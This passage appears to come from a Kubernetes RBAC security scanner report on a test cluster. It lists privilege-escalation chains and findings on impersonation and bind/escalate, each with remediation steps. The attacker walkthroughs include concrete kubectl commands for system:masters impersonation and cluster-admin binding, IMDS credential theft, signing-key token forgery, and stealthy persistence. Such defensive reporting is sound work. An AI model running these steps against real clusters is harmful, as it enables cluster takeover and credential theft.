    Gives the attacker can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control
Remediation
Break the chain at the weakest hop: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/statusspoof-fixtures/default → /).
  1. Confirm each hop with kubectl auth can-i.
  2. Apply the cut: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/statusspoof-fixtures/default → /).
  3. Re-run the scanner to confirm the path no longer resolves.
MEDIUM ServiceAccount/foothold-ops/foothold-named-execer Cluster 5.3
ServiceAccount/foothold-ops/foothold-named-execer can reach token_mint in 3 hop(s)
Scope · Cluster Source ServiceAccount/foothold-ops/foothold-named-execer → token_mint
Category: Privilege Escalation Subject: ServiceAccount/foothold-ops/foothold-named-execer

Subject ServiceAccount/foothold-ops/foothold-named-execer has a multi-hop chain to token_mint. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.

The chain:
1. ServiceAccount/foothold-ops/foothold-named-execer → ServiceAccount/foothold-exec/foothold-reader via pod_exec (create pods/exec|pods/attach): can exec into pods running as ServiceAccount foothold-exec/foothold-reader
2. ServiceAccount/foothold-exec/foothold-reader → / via imds_node_role_pivot (IMDS reachable, IRSA unbound): pod foothold-exec/foothold-target falls back to node IAM role via IMDS
3. ServiceAccount/foothold-exec/foothold-reader → / via static_pod_admission_bypass (write access to /etc/kubernetes/manifests): can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control

Impact Compromise of ServiceAccount/foothold-ops/foothold-named-execer chains to token_mint. Investigate the specific privileges this sink represents in your cluster.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/foothold-ops/foothold-named-execer.
  2. Acting as ServiceAccount/foothold-ops/foothold-named-execer, the attacker uses pods/exec (create pods/exec|pods/attach) to open a shell inside ServiceAccount/foothold-exec/foothold-reader and inherit whatever ServiceAccount or host privileges that container holds.
  3. Acting as ServiceAccount/foothold-exec/foothold-reader, the attacker uses the imds_node_role_pivot technique via IMDS reachable, IRSA unbound, which gains pod foothold-exec/foothold-target falls back to node IAM role via IMDS.
  4. Acting as ServiceAccount/foothold-exec/foothold-reader, the attacker uses the static_pod_admission_bypass technique via write access to /etc/kubernetes/manifests, which gains can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control.
  5. Final step: attacker reaches token_mint.
  1. Step 1 of 3 Pod exec → container takeover pod_exec

    The pods/exec subresource opens a shell inside a running container. If the container's pod uses a privileged ServiceAccount, the attacker inherits that SA's reach. If the container is itself privileged or mounts the host, this is also a node-escape primitive.

    From ServiceAccount/foothold-ops/foothold-named-execer → ServiceAccount/foothold-exec/foothold-reader
    Permission granted create pods/exec|pods/attach
    Gives the attacker can exec into pods running as ServiceAccount foothold-exec/foothold-reader
  2. Step 2 of 3 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/foothold-exec/foothold-reader
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod foothold-exec/foothold-target falls back to node IAM role via IMDS
  3. Step 3 of 3 Static pod and SA signing-key abuse static_pod_admission_bypass

    The kubelet on a control-plane node runs any manifest dropped into /etc/kubernetes/manifests as a static pod. Static pods never traverse the API server, so no admission webhook, Pod Security Admission label, or policy engine can see or block them.

    The same node holds /etc/kubernetes/pki/sa.key, the key that signs every ServiceAccount token in the cluster. An attacker with it forges a valid token for any ServiceAccount without touching the API at all.

    From ServiceAccount/foothold-exec/foothold-reader
    Permission granted write access to /etc/kubernetes/manifests
    Gives the attacker can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control
Remediation
Break the chain at the weakest hop: remove the permission create pods/exec|pods/attach that enables the first hop (ServiceAccount/foothold-ops/foothold-named-execer → ServiceAccount/foothold-exec/foothold-reader).
  1. Confirm each hop with kubectl auth can-i.
  2. Apply the cut: remove the permission create pods/exec|pods/attach that enables the first hop (ServiceAccount/foothold-ops/foothold-named-execer → ServiceAccount/foothold-exec/foothold-reader).
  3. Re-run the scanner to confirm the path no longer resolves.
MEDIUM ServiceAccount/imgswap-fixtures/imgswap-patcher Cluster 5.3
ServiceAccount/imgswap-fixtures/imgswap-patcher can reach token_mint in 3 hop(s)
Scope · Cluster Source ServiceAccount/imgswap-fixtures/imgswap-patcher → token_mint
Category: Privilege Escalation Subject: ServiceAccount/imgswap-fixtures/imgswap-patcher

Subject ServiceAccount/imgswap-fixtures/imgswap-patcher has a multi-hop chain to token_mint. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.

The chain:
1. ServiceAccount/imgswap-fixtures/imgswap-patcher → ServiceAccount/imgswap-fixtures/imgswap-reader via pod_image_hijack (get,list,patch pods): can swap the container image of pods running as ServiceAccount imgswap-fixtures/imgswap-reader and run code inside them
2. ServiceAccount/imgswap-fixtures/imgswap-reader → / via imds_node_role_pivot (IMDS reachable, IRSA unbound): pod imgswap-fixtures/imgswap-reader-app-b5544c498-vrnqg falls back to node IAM role via IMDS
3. ServiceAccount/imgswap-fixtures/imgswap-reader → / via static_pod_admission_bypass (write access to /etc/kubernetes/manifests): can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control

Impact Compromise of ServiceAccount/imgswap-fixtures/imgswap-patcher chains to token_mint. Investigate the specific privileges this sink represents in your cluster.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/imgswap-fixtures/imgswap-patcher.
  2. Acting as ServiceAccount/imgswap-fixtures/imgswap-patcher, the attacker uses update/patch on pods (get,list,patch pods) to change the container image of a pod running as ServiceAccount/imgswap-fixtures/imgswap-reader. The API server's pod update validation keeps container images mutable on a live pod, and no in-tree controller reverts the change: the kubelet restarts the container with the attacker's image inside the same pod sandbox, with the same ServiceAccount token mount, securityContext, host namespaces, and volumes. The result is a shell in that pod without any exec or ephemeral-container verb.
  3. Acting as ServiceAccount/imgswap-fixtures/imgswap-reader, the attacker uses the imds_node_role_pivot technique via IMDS reachable, IRSA unbound, which gains pod imgswap-fixtures/imgswap-reader-app-b5544c498-vrnqg falls back to node IAM role via IMDS.
  4. Acting as ServiceAccount/imgswap-fixtures/imgswap-reader, the attacker uses the static_pod_admission_bypass technique via write access to /etc/kubernetes/manifests, which gains can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control.
  5. Final step: attacker reaches token_mint.
  1. Step 1 of 3 Pod image swap: code injection into a running pod pod_image_hijack

    The API server keeps a pod's container image fields writable after the pod is running, and nothing in-tree checks who changed them. A subject with plain update or patch on pods can point a running container at an image it controls; the kubelet restarts that container with the new image inside the same pod, so the attacker's code inherits the pod's mounted ServiceAccount token, its securityContext, and any host access it had.

    This is the same position pods/exec or an ephemeral container gives, reached through a write verb that edit-style roles and label-patching operators carry routinely. No workload controller reverts it: ReplicaSets, StatefulSets, and DaemonSets reconcile on labels and template hashes, not on the live image.

    From ServiceAccount/imgswap-fixtures/imgswap-patcher → ServiceAccount/imgswap-fixtures/imgswap-reader
    Permission granted get,list,patch pods
    Gives the attacker can swap the container image of pods running as ServiceAccount imgswap-fixtures/imgswap-reader and run code inside them
  2. Step 2 of 3 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/imgswap-fixtures/imgswap-reader
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod imgswap-fixtures/imgswap-reader-app-b5544c498-vrnqg falls back to node IAM role via IMDS
  3. Step 3 of 3 Static pod and SA signing-key abuse static_pod_admission_bypass

    The kubelet on a control-plane node runs any manifest dropped into /etc/kubernetes/manifests as a static pod. Static pods never traverse the API server, so no admission webhook, Pod Security Admission label, or policy engine can see or block them.

    The same node holds /etc/kubernetes/pki/sa.key, the key that signs every ServiceAccount token in the cluster. An attacker with it forges a valid token for any ServiceAccount without touching the API at all.

    From ServiceAccount/imgswap-fixtures/imgswap-reader
    Permission granted write access to /etc/kubernetes/manifests
    Gives the attacker can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control
Remediation
Break the chain at the weakest hop: remove the permission get,list,patch pods that enables the first hop (ServiceAccount/imgswap-fixtures/imgswap-patcher → ServiceAccount/imgswap-fixtures/imgswap-reader).
  1. Confirm each hop with kubectl auth can-i.
  2. Apply the cut: remove the permission get,list,patch pods that enables the first hop (ServiceAccount/imgswap-fixtures/imgswap-patcher → ServiceAccount/imgswap-fixtures/imgswap-reader).
  3. Re-run the scanner to confirm the path no longer resolves.
MEDIUM User/gw-deployer Cluster 5.3
User/gw-deployer can reach token_mint in 3 hop(s)
Scope · Cluster Source User/gw-deployer → token_mint
Category: Privilege Escalation Subject: User/gw-deployer

Subject User/gw-deployer has a multi-hop chain to token_mint. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.

The chain:
1. User/gw-deployer → ServiceAccount/gw-workloads/gw-web-sa via workload_create_token_theft (create deployments): can create a workload whose pods run as ServiceAccount gw-workloads/gw-web-sa
2. ServiceAccount/gw-workloads/gw-web-sa → / via imds_node_role_pivot (IMDS reachable, IRSA unbound): pod gw-workloads/gw-web-78c47cbd6c-psgsw falls back to node IAM role via IMDS
3. ServiceAccount/gw-workloads/gw-web-sa → / via static_pod_admission_bypass (write access to /etc/kubernetes/manifests): can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control

Impact Compromise of User/gw-deployer chains to token_mint. Investigate the specific privileges this sink represents in your cluster.
How an attacker abuses this
Background
SubjectUser

A User in Kubernetes is whoever the authenticator says they are. There is no User object in the API. Identity comes from a client certificate's CN, an OIDC sub claim, a webhook, or a static token. RBAC then targets that identity by name. If you see "User foo" in a finding, foo is whatever string the authentication layer produced.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to User/gw-deployer.
  2. Acting as User/gw-deployer, the attacker creates a workload (create deployments) whose pod template runs as ServiceAccount/gw-workloads/gw-web-sa. The workload controller creates the pods, and nothing checks whether the writer may use that ServiceAccount, so the attacker's container holds its token. This is the same reach as creating the pod directly.
  3. Acting as ServiceAccount/gw-workloads/gw-web-sa, the attacker uses the imds_node_role_pivot technique via IMDS reachable, IRSA unbound, which gains pod gw-workloads/gw-web-78c47cbd6c-psgsw falls back to node IAM role via IMDS.
  4. Acting as ServiceAccount/gw-workloads/gw-web-sa, the attacker uses the static_pod_admission_bypass technique via write access to /etc/kubernetes/manifests, which gains can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control.
  5. Final step: attacker reaches token_mint.
  1. Step 1 of 3 Workload creation → ServiceAccount token theft workload_create_token_theft

    A Deployment, DaemonSet, StatefulSet, Job, or CronJob carries a pod template, and its controller creates pods from that template. Whoever writes the template chooses the ServiceAccount the pods run as, and Kubernetes checks only that the ServiceAccount exists, not that the writer may use it.

    So create on any of these kinds reaches exactly what create pods reaches: every ServiceAccount in the namespace (or in every namespace, for a cluster-wide grant). Removing create pods from a role while leaving create deployments changes nothing.

    From User/gw-deployer → ServiceAccount/gw-workloads/gw-web-sa
    Permission granted create deployments
    Gives the attacker can create a workload whose pods run as ServiceAccount gw-workloads/gw-web-sa
  2. Step 2 of 3 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/gw-workloads/gw-web-sa
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod gw-workloads/gw-web-78c47cbd6c-psgsw falls back to node IAM role via IMDS
  3. Step 3 of 3 Static pod and SA signing-key abuse static_pod_admission_bypass

    The kubelet on a control-plane node runs any manifest dropped into /etc/kubernetes/manifests as a static pod. Static pods never traverse the API server, so no admission webhook, Pod Security Admission label, or policy engine can see or block them.

    The same node holds /etc/kubernetes/pki/sa.key, the key that signs every ServiceAccount token in the cluster. An attacker with it forges a valid token for any ServiceAccount without touching the API at all.

    From ServiceAccount/gw-workloads/gw-web-sa
    Permission granted write access to /etc/kubernetes/manifests
    Gives the attacker can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control
Remediation
Break the chain at the weakest hop: remove the permission create deployments that enables the first hop (User/gw-deployer → ServiceAccount/gw-workloads/gw-web-sa).
  1. Confirm each hop with kubectl auth can-i.
  2. Apply the cut: remove the permission create deployments that enables the first hop (User/gw-deployer → ServiceAccount/gw-workloads/gw-web-sa).
  3. Re-run the scanner to confirm the path no longer resolves.
MEDIUM User/gw-patcher Cluster 5.3
User/gw-patcher can reach token_mint in 3 hop(s)
Scope · Cluster Source User/gw-patcher → token_mint
Category: Privilege Escalation Subject: User/gw-patcher

Subject User/gw-patcher has a multi-hop chain to token_mint. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.

The chain:
1. User/gw-patcher → ServiceAccount/gw-workloads/gw-web-sa via workload_hijack (patch deployments): can rewrite the pod template of Deployment gw-workloads/gw-web, whose pods run as ServiceAccount gw-workloads/gw-web-sa
2. ServiceAccount/gw-workloads/gw-web-sa → / via imds_node_role_pivot (IMDS reachable, IRSA unbound): pod gw-workloads/gw-web-78c47cbd6c-psgsw falls back to node IAM role via IMDS
3. ServiceAccount/gw-workloads/gw-web-sa → / via static_pod_admission_bypass (write access to /etc/kubernetes/manifests): can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control

Impact Compromise of User/gw-patcher chains to token_mint. Investigate the specific privileges this sink represents in your cluster.
How an attacker abuses this
Background
SubjectUser

A User in Kubernetes is whoever the authenticator says they are. There is no User object in the API. Identity comes from a client certificate's CN, an OIDC sub claim, a webhook, or a static token. RBAC then targets that identity by name. If you see "User foo" in a finding, foo is whatever string the authentication layer produced.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to User/gw-patcher.
  2. Acting as User/gw-patcher, the attacker rewrites the pod template of an existing workload (patch deployments) so that its pods run the attacker's code as ServiceAccount/gw-workloads/gw-web-sa. The controller rolls out the change itself. The rewritten pods keep the rest of the workload's spec, including any host access it already had.
  3. Acting as ServiceAccount/gw-workloads/gw-web-sa, the attacker uses the imds_node_role_pivot technique via IMDS reachable, IRSA unbound, which gains pod gw-workloads/gw-web-78c47cbd6c-psgsw falls back to node IAM role via IMDS.
  4. Acting as ServiceAccount/gw-workloads/gw-web-sa, the attacker uses the static_pod_admission_bypass technique via write access to /etc/kubernetes/manifests, which gains can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control.
  5. Final step: attacker reaches token_mint.
  1. Step 1 of 3 Workload template rewrite workload_hijack

    update or patch on an existing Deployment, DaemonSet, StatefulSet, or CronJob lets the writer change its pod template: the image, the command, and the ServiceAccount. The controller then rolls out pods from the new template on its own. The writer gains every ServiceAccount in that namespace, the same as create pods.

    It can also give more than that. The rewritten pods keep the rest of the workload's spec, so a workload that already runs privileged or mounts the host (a CNI or log-shipper DaemonSet in kube-system, for example) hands that host access to the writer's code. A Job is not affected: its pod template cannot be changed after creation.

    From User/gw-patcher → ServiceAccount/gw-workloads/gw-web-sa
    Permission granted patch deployments
    Gives the attacker can rewrite the pod template of Deployment gw-workloads/gw-web, whose pods run as ServiceAccount gw-workloads/gw-web-sa
  2. Step 2 of 3 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/gw-workloads/gw-web-sa
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod gw-workloads/gw-web-78c47cbd6c-psgsw falls back to node IAM role via IMDS
  3. Step 3 of 3 Static pod and SA signing-key abuse static_pod_admission_bypass

    The kubelet on a control-plane node runs any manifest dropped into /etc/kubernetes/manifests as a static pod. Static pods never traverse the API server, so no admission webhook, Pod Security Admission label, or policy engine can see or block them.

    The same node holds /etc/kubernetes/pki/sa.key, the key that signs every ServiceAccount token in the cluster. An attacker with it forges a valid token for any ServiceAccount without touching the API at all.

    From ServiceAccount/gw-workloads/gw-web-sa
    Permission granted write access to /etc/kubernetes/manifests
    Gives the attacker can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control
Remediation
Break the chain at the weakest hop: remove the permission patch deployments that enables the first hop (User/gw-patcher → ServiceAccount/gw-workloads/gw-web-sa).
  1. Confirm each hop with kubectl auth can-i.
  2. Apply the cut: remove the permission patch deployments that enables the first hop (User/gw-patcher → ServiceAccount/gw-workloads/gw-web-sa).
  3. Re-run the scanner to confirm the path no longer resolves.

RBAC

121 findings · 32 rules · 59 critical · 57 high · 4 medium · 1 low
CRITICAL

Cluster-wide impersonate permission on ServiceAccount/rbac-fixtures/sa-impersonate

KUBE-PRIVESC-008 2 subjects Score 10.0–9.4
MITRE ATT&CK: T1078T1078.004T1550T1134

Affected subjects (2)

CRITICAL ServiceAccount/rbac-fixtures/sa-impersonate Cluster 10.0
Cluster-wide impersonate permission on ServiceAccount/rbac-fixtures/sa-impersonate
Scope · Cluster Cluster-wide: applies to every current and future namespace
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-impersonate Resource: RBACRule/cr-impersonate

Subject ServiceAccount/rbac-fixtures/sa-impersonate has the impersonate verb on users/groups/serviceaccounts via ClusterRoleBinding crb-impersonate → ClusterRole cr-impersonate. Cluster-wide: applies to every current and future namespace.

Kubernetes' impersonation lets a request set Impersonate-User/Impersonate-Group headers (or kubectl --as) so the API server processes the request as a different identity. The Kubernetes project flags this in RBAC Good Practices as one of three verbs (alongside bind and escalate) that override normal RBAC limits.

Most damaging is the ability to impersonate the system:masters group, which is hardcoded inside kube-apiserver to bypass RBAC entirely. There is no Role or RoleBinding that grants system:masters membership; the apiserver simply trusts the assertion. kubectl --as=admin --as-group=system:masters get secrets -A runs as cluster-admin, full stop. Impersonation is also stealthier than a binding change because audit logs show user.username as the original subject.

Impact Act as any user/group/ServiceAccount in Cluster-wide; impersonating system:masters bypasses all RBAC checks irrevocably.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueRBAC impersonation

Kubernetes has a built-in "act as another user" feature: the impersonate verb on users, groups, or serviceaccounts. Anyone with that verb can submit requests as any identity, bypassing whatever permissions they don't have themselves.

Granting impersonate on groups with no resourceNames is equivalent to cluster-admin: the holder can impersonate system:masters. A resourceNames list limits the grant to the names it lists, compared exactly: resourceNames: ["*"] names a group literally called *, not every group.

  1. Attacker confirms the verb with kubectl auth can-i impersonate users --as=sa-impersonate -A.
  2. They run kubectl --as=admin --as-group=system:masters get clusterrolebindings to confirm system:masters impersonation succeeds.
  3. They impersonate the highest-privileged ServiceAccount they can find (e.g. system:serviceaccount:kube-system:clusterrole-aggregation-controller) and exfiltrate Secrets cluster-wide.
  4. They establish persistence by creating a benign-looking ClusterRoleBinding via the impersonated identity (audit logs blame the impersonated SA, not the attacker).
  5. They optionally add their own user to a privileged group via OIDC group claims, providing identity-layer persistence that survives RBAC remediation.
Remediation
Remove impersonate entirely; if a SaaS console truly needs it, gate on resourceNames and never grant it on groups.
  1. Remove impersonate on users, groups, and serviceaccounts. The vast majority of workloads have no need for impersonation.
  2. If impersonation is genuinely required, scope to users only (not groups, and never allow system:masters), use resourceNames to allow only specific identities, and never grant cluster-wide.
  3. Enable Impersonate-* audit policy at Metadata level minimum so every impersonated request is logged with the original caller. SIEM-alert on impersonation of any system: user or group.
  4. Verify with kubectl auth can-i impersonate '*' --as=sa-impersonate -A returning no.
Evidence
ScopeCluster
API groupscore/v1
Resourcesgroups
Verbsimpersonate
impersonate: Act as any user, group, or ServiceAccount
Source rolecr-impersonate
Inspect: kubectl get clusterrole cr-impersonate -o yaml
Source bindingcrb-impersonate
Inspect: kubectl get clusterrolebinding crb-impersonate -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    ""
  ],
  "namespace": "",
  "resource_names": null,
  "resources": [
    "groups"
  ],
  "scope": "cluster",
  "source_binding": "crb-impersonate",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cr-impersonate",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "impersonate"
  ]
}
CRITICAL ServiceAccount/cloud-eks-imp/eks-impersonator Namespace 9.4
Namespace cloud-eks-imp only impersonate permission on ServiceAccount/cloud-eks-imp/eks-impersonator
Scope · Namespace Namespace cloud-eks-imp only
Category: Privilege Escalation Subject: ServiceAccount/cloud-eks-imp/eks-impersonator Resource: RBACRule/cloud-eks-imp/eks-impersonator

Subject ServiceAccount/cloud-eks-imp/eks-impersonator has the impersonate verb on users/groups/serviceaccounts via RoleBinding cloud-eks-imp/eks-impersonator → Role cloud-eks-imp/eks-impersonator. Namespace cloud-eks-imp only.

Kubernetes' impersonation lets a request set Impersonate-User/Impersonate-Group headers (or kubectl --as) so the API server processes the request as a different identity. The Kubernetes project flags this in RBAC Good Practices as one of three verbs (alongside bind and escalate) that override normal RBAC limits.

Most damaging is the ability to impersonate the system:masters group, which is hardcoded inside kube-apiserver to bypass RBAC entirely. There is no Role or RoleBinding that grants system:masters membership; the apiserver simply trusts the assertion. kubectl --as=admin --as-group=system:masters get secrets -A runs as cluster-admin, full stop. Impersonation is also stealthier than a binding change because audit logs show user.username as the original subject.

Impact Act as any user/group/ServiceAccount in Namespace cloud-eks-imp only; impersonating system:masters bypasses all RBAC checks irrevocably.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueRBAC impersonation

Kubernetes has a built-in "act as another user" feature: the impersonate verb on users, groups, or serviceaccounts. Anyone with that verb can submit requests as any identity, bypassing whatever permissions they don't have themselves.

Granting impersonate on groups with no resourceNames is equivalent to cluster-admin: the holder can impersonate system:masters. A resourceNames list limits the grant to the names it lists, compared exactly: resourceNames: ["*"] names a group literally called *, not every group.

  1. Attacker confirms the verb with kubectl auth can-i impersonate users --as=eks-impersonator -n cloud-eks-imp.
  2. They run kubectl --as=admin --as-group=system:masters get clusterrolebindings to confirm system:masters impersonation succeeds.
  3. They impersonate the highest-privileged ServiceAccount they can find (e.g. system:serviceaccount:kube-system:clusterrole-aggregation-controller) and exfiltrate Secrets cluster-wide.
  4. They establish persistence by creating a benign-looking ClusterRoleBinding via the impersonated identity (audit logs blame the impersonated SA, not the attacker).
  5. They optionally add their own user to a privileged group via OIDC group claims, providing identity-layer persistence that survives RBAC remediation.
Remediation
Remove impersonate entirely; if a SaaS console truly needs it, gate on resourceNames and never grant it on groups.
  1. Remove impersonate on users, groups, and serviceaccounts. The vast majority of workloads have no need for impersonation.
  2. If impersonation is genuinely required, scope to users only (not groups, and never allow system:masters), use resourceNames to allow only specific identities, and never grant cluster-wide.
  3. Enable Impersonate-* audit policy at Metadata level minimum so every impersonated request is logged with the original caller. SIEM-alert on impersonation of any system: user or group.
  4. Verify with kubectl auth can-i impersonate '*' --as=eks-impersonator -n cloud-eks-imp returning no.
Evidence
ScopeNamespace
Namespacecloud-eks-imp
API groupscore/v1
Resourcesserviceaccounts
serviceaccounts: Pod identities (and their tokens)
Verbsimpersonate
impersonate: Act as any user, group, or ServiceAccount
Source roleeks-impersonator
Inspect: kubectl get role eks-impersonator -n cloud-eks-imp -o yaml
Source bindingeks-impersonator
Inspect: kubectl get rolebinding eks-impersonator -n cloud-eks-imp -o yaml
source_binding_kind
"RoleBinding"
source_role_kind
"Role"
Show raw JSON
{
  "api_groups": [
    ""
  ],
  "namespace": "cloud-eks-imp",
  "resource_names": null,
  "resources": [
    "serviceaccounts"
  ],
  "scope": "namespace",
  "source_binding": "eks-impersonator",
  "source_binding_kind": "RoleBinding",
  "source_role": "eks-impersonator",
  "source_role_kind": "Role",
  "verbs": [
    "impersonate"
  ]
}
CRITICAL

Cluster-wide bind/escalate on roles bypasses RBAC

KUBE-PRIVESC-009 5 subjects Score 10.0
MITRE ATT&CK: T1098T1078.004T1548

Affected subjects (5)

CRITICAL ServiceAccount/cutres/cutres-detour Cluster 10.0
Cluster-wide bind/escalate on roles bypasses RBAC (ServiceAccount/cutres/cutres-detour)
Scope · Cluster Cluster-wide: applies to every current and future namespace
Category: Privilege Escalation Subject: ServiceAccount/cutres/cutres-detour Resource: RBACRule/cutres-detour-bind

Subject ServiceAccount/cutres/cutres-detour has the bind or escalate verb on roles/clusterroles via ClusterRoleBinding cutres-detour-bind → ClusterRole cutres-detour-bind. Cluster-wide: applies to every current and future namespace.

Kubernetes' RBAC normally enforces a privilege-escalation guard: you cannot create a Role/RoleBinding granting permissions you do not already hold. The escalate and bind verbs are explicit, documented exceptions to that guard.

escalate lets the subject author or modify a Role/ClusterRole with verbs and resources they don't currently possess. In practice, they rewrite an existing Role they're already bound to and instantly inherit whatever they wrote into it.

bind lets the subject create a RoleBinding/ClusterRoleBinding referencing a (Cluster)Role they don't already hold. With bind on clusterroles, an attacker creates a ClusterRoleBinding from themselves to cluster-admin and is done in one step.

Impact Defeat the API-level escalation guard in Cluster-wide; subject can grant itself any (Cluster)Role's permissions, including cluster-admin.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueRBAC bind/escalate bypass

RBAC has a guardrail: you can only grant permissions you yourself hold. Two verbs override that guardrail: bind (on a Role/ClusterRole) and escalate (also on Roles). Holding either lets the attacker create a binding to a Role they don't have themselves, including cluster-admin.

Scope matters. Granted by a ClusterRoleBinding the reach is cluster-wide; granted by a RoleBinding it bounds the bypass to the binding's namespace — namespace-admin instead of cluster-admin, but still a complete takeover of every workload, Secret, and ConfigMap in that namespace.

  1. Attacker confirms the verb with kubectl auth can-i bind clusterroles --as=cutres-detour -A.
  2. They write a one-line ClusterRoleBinding from their identity (or a SA they control) to the cluster-admin ClusterRole and kubectl apply it.
  3. They re-use the same token (ClusterRoleBindings take effect immediately on next request) and have full cluster control.
  4. Alternatively, with escalate on clusterroles, they kubectl edit clusterrole/<role-they-already-have> and add * verbs/resources/apiGroups, retaining the same binding.
  5. They optionally name the new ClusterRoleBinding innocuously (e.g. cluster-monitor-binding) so the change is less visible to operators reviewing kubectl get clusterrolebindings.
Remediation
Remove bind and escalate from non-admin identities; gate any legitimate need behind admission policy that rejects bindings to cluster-admin or system roles.
  1. Audit every Role/ClusterRole that includes bind or escalate with kubectl get clusterroles,roles -A -o json | jq '.items[] | select(.rules[]?.verbs[]? | IN("bind","escalate"))'.
  2. Remove the verbs from this Role/ClusterRole. If operators legitimately need them (Argo CD, Crossplane, OperatorHub), scope bind with resourceNames to a list of low-privilege ClusterRoles.
